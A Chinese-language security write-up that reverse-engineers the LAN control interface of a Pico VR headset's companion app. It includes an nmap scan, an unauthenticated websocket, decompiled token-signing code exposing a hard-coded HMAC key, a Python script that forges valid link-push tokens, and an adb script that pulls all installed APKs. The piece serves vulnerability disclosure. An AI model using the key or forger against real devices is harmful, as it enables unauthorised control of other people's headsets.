前言
- Pico VR是字节跳动收购的一家子公司,他的一个APP管理助手有功能是和本地局域网的VR设备交互的功能。

- 使用到本地局域网通信的功能有:截屏和录像,推送链接到VR设备。
端口扫描
➜ ~/Android % nmap -A 192.168.0.104
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-05-07 23:41 CST
Nmap scan report for PicoNeo3_2efd16c68ee59417.lan (192.168.199.134)
Host is up (0.011s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
7100/tcp open font-service?
8080/tcp open http-proxy AndServer/2.0.0
|_http-server-header: AndServer/2.0.0
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sat, 07 May 2022 15:41:55 GMT
| Server: AndServer/2.0.0
| Content-Length: 57
| Content-Type: text/plain;charset=UTF-8
| Connection: Close
| resource [/nice ports,/Trinity.txt.bak] is not found.
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Sat, 07 May 2022 15:42:00 GMT
| Server: AndServer/2.0.0
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Date: Sat, 07 May 2022 15:41:55 GMT
| Server: AndServer/2.0.0
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Date: Sat, 07 May 2022 15:41:55 GMT
| Server: AndServer/2.0.0
| Content-Length: 30
| Content-Type: text/plain;charset=UTF-8
| Connection: Close
| resource [/] is not found.
| Help:
| HTTP/1.0 400 Bad Request
| Date: Sat, 07 May 2022 15:42:16 GMT
| Server: AndServer/2.0.0
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| LPDString:
| HTTP/1.0 400 Bad Request
| Date: Sat, 07 May 2022 15:42:26 GMT
| Server: AndServer/2.0.0
| Content-Length: 35
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: [0x16]default
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Sat, 07 May 2022 15:41:55 GMT
| Server: AndServer/2.0.0
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
|_ valid protocol version: RTSP/1.0
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
8888/tcp open websocket Java-WebSocket
49152/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| CONTENT-LENGTH: 303
| CONTENT-TYPE: text/xml
| DATE: Sat, 07 May 2022 15:41:55 GMT
| LAST-MODIFIED: Thu, 01 Jan 1970 00:00:00 GMT
| SERVER: Linux/4.19.81-perf+ HTTP/1.0
| X-User-Agent: redsonic
| <?xml version="1.0" encoding="utf-8"?><scpd xmlns="urn:schemas-upnp-
org:service-1-0"><specVersion><major>1</major><minor>0</minor></specVersion>
<actionList/><serviceSta
teTable><stateVariable sendEvents="no"><name>X_RController</name>
<dataType>string</dataType></stateVariable></serviceStateTable></scpd>
| GetRequest:
| HTTP/1.0 500 Internal Server Error
| SERVER: Linux/4.19.81-perf+ HTTP/1.0
| CONTENT-LENGTH: 60
| CONTENT-TYPE: text/html
|_ <html><body><h1>500 Internal Server Error</h1></body></html>
- Web的端口:http服务8080和websocket服务8888
- 先用websocat连接上websocket服务发送请求返回了一个test,好像并没有做认证。
- 后面操作APP助手时打印了录屏的日志,估计是用来提示APP助手用的。
➜ ~ websocat ws://192.168.0.104:8888
echo
test
type=record;state=begin
type=record;state=end
/storage/emulated/0/Movies/ScreenRecording/ScreenRecording_2022.06.26-14.46.53.mp4

抓包

POST /link HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Host: 192.168.0.104:8080
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.1
t=1656226045858&url=baidu&token=9g%2FdjLRw0aEaVaMGoZxfy2%2F3ZRJ27i3r4%2Fk7RFfEMqg%3D
- t参数明显是时间戳,url是我在手机助手推送的关键词,token就是我们需要逆向得到的关键点。
在APP助手找算法
- 用jadx打开APP助手搜索
/link
关键词找到调用实例。
private void f(String str) {
d.b(this.f6683i);
HashMap hashMap = new HashMap();
hashMap.put("url", str);
long currentTimeMillis = System.currentTimeMillis();
hashMap.put("t", "" + currentTimeMillis);
hashMap.put("token", l.a("url=" + str + "&t=" + currentTimeMillis, "", l.f21232a));
c.a(i.z.a.a.b.d.a(d.a(), hashMap), new i(new G(this)));
}
- 参数有三个:字符串拼起来的url和时间戳,第二个参数为空字符串,第三个点进去是一个硬编码的字符串
tRv3KdlkRnVvkaF1
。

- 从上面的参数来看
hashMap
就是POST提交的参数,所以跟进token
后面的l.a函数就是生成token的算法了。
生成Token算法

package i.z.b.f.d;
import android.text.TextUtils;
import android.util.Base64;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.codec.digest.HmacUtils;
/* compiled from: SignUtil.java */
/* loaded from: classes4.dex */
public class l {
/* renamed from: a reason: collision with root package name */
public static final String f21232a = "tRv3KdlkRnVvkaF1";
public static String a(String str, String str2, String str3) {
return a("POST", str, str2, str3);
}
public static String b(byte[] bArr) {
return a(bArr, StandardCharsets.UTF_8);
}
public static String a(String str, String str2) {
return a("GET", str, "", str2);
}
public static String a(String str, String str2, String str3, String str4) {
String str5;
if (!TextUtils.isEmpty(str2)) {
String[] split = str2.split("&");
Arrays.sort(split);
StringBuilder sb = new StringBuilder();
for (String str6 : split) {
sb.append(str6);
sb.append("&");
}
str5 = str + "\\n" + sb.substring(0, sb.length() - 1) + "\\n";
} else {
str5 = str + "\\n" + str2 + "\\n";
}
if (str3 != null && !"".equals(str3)) {
str5 = str5 + DigestUtils.md5Hex(str3) + "\\n";
}
return a(HmacUtils.hmacSha256(str4.getBytes(StandardCharsets.UTF_8), str5.getBytes(StandardCharsets.UTF_8)));
}
public static String a(byte[] bArr, Charset charset) {
if (bArr == null) {
return null;
}
return new String(bArr, charset);
}
public static String a(byte[] bArr) {
return b(Base64.encode(bArr, 2));
}
}
- 图片没截全,上面是生成Token完整的代码。
- 推送链接的的请求为POST请求,所以第一个参数是字符串
POST
,第二个参数就是传进来的url和时间戳拼接成的字符串t=1656226045858&url=baidu
,第三个参数为空,第四个就是那个硬编码的字符串tRv3KdlkRnVvkaF1
。
编写Token生成代码
import base64
import hashlib
import hmac
f35046a = "tRv3KdlkRnVvkaF1"
def m15906a(str1, str2):
m15904a("GET", str1, "", str2)
pass
def m15901b(param):
param.decode("utf-8")
def m15903a(bArr):
return base64.b64encode(bArr).decode("utf-8")
def m15904a(str1, str2, str3, str4=""):
if len(str2) > 0:
split1 = str2.split("&")
split1.sort() # 排序确保两边的数据是一样的
sb = ""
for str6 in split1:
sb = sb + str6
sb = sb + "&"
str5 = str1 + "\\n" + sb[0: len(sb) - 1] + "\\n"
else:
str5 = str1 + "\\n" + str2 + "\\n"
if len(str3) > 0:
str5 = str5 + hashlib.md5(str3).hexdigest() + "\\n"
h = hmac.new(str4.encode(), str5.encode(), hashlib.sha256).digest()
return m15903a(h)
# 是除了token的请求参数
# t=1656226045858&url=baidu&token=9g%2FdjLRw0aEaVaMGoZxfy2%2F3ZRJ27i3r4%2Fk7RFfEMqg%3D
url_path = "t=1656226045858&url=baidu"
print(url_path) # 请求方法,URL
token = m15904a("POST", url_path, "", f35046a)
print(token)
- 输出token为:
9g/djLRw0aEaVaMGoZxfy2/3ZRJ27i3r4/k7RFfEMqg=
,再URL编码后就和请求的token参数一样了。
- 导出全部APP
import os
output = os.popen('adb shell pm list packages')
apk_list = output.readlines()
def get_path(name):
path_output = os.popen('adb shell pm path ' + name)
return path_output.readline().replace("\\n", "")[8:]
def pull_apk(p_path, p_name):
os.popen('adb pull ' + p_path + " /home/kali-team/TODO/XIAOMI/" + p_name + ".apk")
for apk_name in apk_list:
n = apk_name.replace("\\n", "")[8:]
path = get_path(n)
pull_apk(path, n)
结论
- hmac通常用于数据的校验,防止数据在传输过程中被修改,一般会将请求的参数的键值对先排序后,再使用自己的算法拼接后取数据摘后使用双方共有的密钥加密,但是这密钥却经常在程序中硬编码,这使得攻击者更加轻易还原客户端和服务端的通信校验,使得数据校验这个过程并没有起到作用。